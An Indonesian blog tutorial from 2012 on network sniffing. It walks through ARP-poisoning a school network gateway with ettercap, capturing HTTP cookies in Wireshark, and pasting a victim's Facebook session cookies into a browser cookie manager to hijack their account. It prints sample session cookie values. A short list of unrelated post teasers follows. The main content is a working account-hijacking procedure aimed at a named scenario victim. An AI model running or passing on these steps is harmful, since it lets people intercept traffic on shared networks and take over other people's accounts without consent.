Langsung ke konten utama

Teknik Sniffing menggunakan Ubuntu




 Author: Harrid Bunaiya <harridbunaiya@rocketmail.com>                                                              
 Title: Sniffing                                                                                                                              
 Date: Bekasi 13/10/2012                                                                                                                    
 Category: network, system, security                                                                                                  
 Intended: All Categories                                                                                                                    
 Level: Middle                                                                                                                                    
                                                                                                                                                           
 __  __                                              _ _
|    \/    | __  ___  ____           _____|  |   |
|   |\/|   |/ _`   \   \  /   /\   \   /\   /   / _  \   |   |
|   |  |   | (_|   |>   <     \   V  V  /   __/   |   |
| _|  |_ |\__,_/ _/\_ \     \ _ /\ _ / \___|_  |_ |


Daftar Isi:
[1] Pendahuluan/Pengertian
[2] Contoh Kasus
[3] Software Pendukung
[4] Instalasi Software
[5] How To Work


--[1] Pengertian

Sniffing adalah kegiatan melakukan penyadapan data pada suatu jaringan komputer.
Dalam suatu jaringan komputer ada yang disebut dengan istilah 'Paket Data' paket data disini berisi tentang
informasi yang diminta oleh sang client.

MITM (MAN IN THE MIDDLE)

Server ---------> | -------------> Client
                         ^
                     Sniffer

Sniffer <org yang melakukan Sniffing>  ketika paket data tersebut dikirim dari server ke client, paket - paket data tersebut akan
oleh disadap sang Sniffer untuk diambil informasinya.


--[2] Contoh Kasus
Eka sedang membuka halaman facebook pada saat waktu senggan disekolah, Eka membuka facebook pada jaringan sekolah
yang memiliki Gateway 192.168.5.129. Pada saat Eka membuka situs www.facebook.com maka data dari Server facebook menuju Eka
dikirim, pada saat pengiriman inilah sang Sniffer beraksi.


--[3] Software Pendukung

A. Ettercap
B. Wireshark
 C. OS Linux


--[4] Instalasi Software

A. ettercap

- cara install ettercap :

root@m0nk3y:/# apt-get install ettercap

B. wireshark

- cara install wireshark :

root@m0nk3y:/# apt-get install
--[5] How To Work

- Perintah ettercap untuk poison :

root@m0nk3y:/# ettercap -Tq -i wlan0 -M ARP /192.168.5.129/ //
- Jalankan Wireshark
root@m0nk3y:/# wireshark -&


- Pilih interface

- Setelah itu filter menjadi http.cookie
- Cari host apa yg mau di buka

- Buka paket data, klik kanan pilih follow tcp stream

- Copy cookie ke notepad

/*
datr=DA8ZT-C0x9rXeYcI33T-LTMd;
  lu=RgTkJLe_tEgw4wH2nKDtvSIg;
  fr=0JMdVwPS0aS6grvsa.AWWTsCovDfKGxq0CJC0A1gXOTJM.BQciOq.Ar.AWVY6Nwt;
  locale=en_GB;
  i_id=%3Aasync_conf;
  c_user=1302744707;
  xs=61%3ASy8rS--XVXwHtg%3A0%3A1350105537;
  p=1;
 presence=EM350156488EuserFA21302744707A2EstateFDsb2F0Et2F_5b_5dElm2FnullEuct2F1350104942BEtrFnullEtwF94331430EatF1350156042310G350156488437CEchFDp_5f1302744707F12CC;  
        act=1350156036996%2F55%3A2;
  sub=2097152 "
*/

- Masukin cookie nya di cookies manager

- Coba buka www.facebook.com dan lihat hasilnya
Label:

Komentar

Posting Komentar

Postingan populer dari blog ini

MEMBUAT KABEL JARINGAN DAN TES KONEKSI PEER TO PEER

Sebelum membuat kabel jaringan, siapkan alat-alat untuk membuat kabel jaringannya seperti:   Tang Crimping.   Kabel UTP. RJ 45. Kabel Tester. Gunting (bila di perlukan). Laptop Bila alat-alat sudah di siapkan langsung saja ke langkah – langkah membuat kabel jaringan. Ø Tahap-tahap membuat kabel : Pertama kupas lapisan kabel Pisahkan kabel menjadi satu persatu agar mudah untuk di urutkan       Kemudian urutkan kabel kabelnya              Untuk kabel Cross urutannya adalah : ·       Putih Hijau ·       Hijau ·       Putih Orange ·       Biru ·       Putih Biru ·       Orange ·       Putih Coklat ·       Coklat Untuk kabel Straight urutannya adalah : ·  ...
1 komentar
Baca selengkapnya

Modus - Modus Kejahatan Dalam Teknologi Informasi

Seiring dengan berkembang pesatnya teknologi informasi maka semakin banyak pula modus-modus kejahatan yang dilakukan oleh pihak-pihak yang tidak berkepentingan dengan berbagai tujuan. Terutama dengan semakian berkembang pesatnya penyebaran informasi melalui jaringan internet dan intranet yang berbasis kecanggihan teknologi komputer  dan telekomunikasi, munculah kejahatan melalui  jaringan internet yang disebut “cyber crime”. Kejahatan di dunia maya ini pun telah menjadi ancaman besar bagi masyrakat, pemerintahan dalam menjaga keamanan dan stabilitas teknologi informasi. Diantaramya pencurian kartu kredit penyadapan email, penyebaran virus, hacking di beberapa situs, dan memanipulasi data sebelum sampai pada penerima.  Efek yang ditimbulkan akibat cyber crime ini bukan hanya menyebabkan kerugian bersifat formil atau kerugian akibat penyalahgunaan wewenang dan izin dan materil atau kerugian bagi orang lain. Apa itu cyber crime?    Cybercrimemerupakan b...
Posting Komentar
Baca selengkapnya

Nmap ( Network Mapper )

Nmap ( “ Network Mapper ” ) merupakan sebuah tool open source untuk eksplorasi dan audit keamanan jaringan. Ia dirancang untuk memeriksa jaringan besar secara cepat, meskipun ia dapat pula bekerja terhadap host tunggal. Nmap menggunakan paket IP raw dalam cara yang canggih untuk menentukan host mana saja yang tersedia pada jaringan, layanan (nama aplikasi dan versi) apa yang diberikan, sistem operasi (dan versinya) apa yang digunakan, apa jenis firewall/filter paket yang digunakan, dan sejumlah karakteristik lainnya. Meskipun Nmap umumnya digunakan untuk audit keamanan, namun banyak administrator sistem dan jaringan menganggapnya berguna untuk tugas rutin seperti inventori jaringan, mengelola jadwal upgrade layanan, dan melakukan monitoring uptime host atau layanan. Output Nmap adalah sebuah daftar target yang diperiksa, dengan informasi tambahannya tergantung pada opsi yang digunakan. Hal kunci di antara informasi itu adalah “ tab...
Posting Komentar
Baca selengkapnya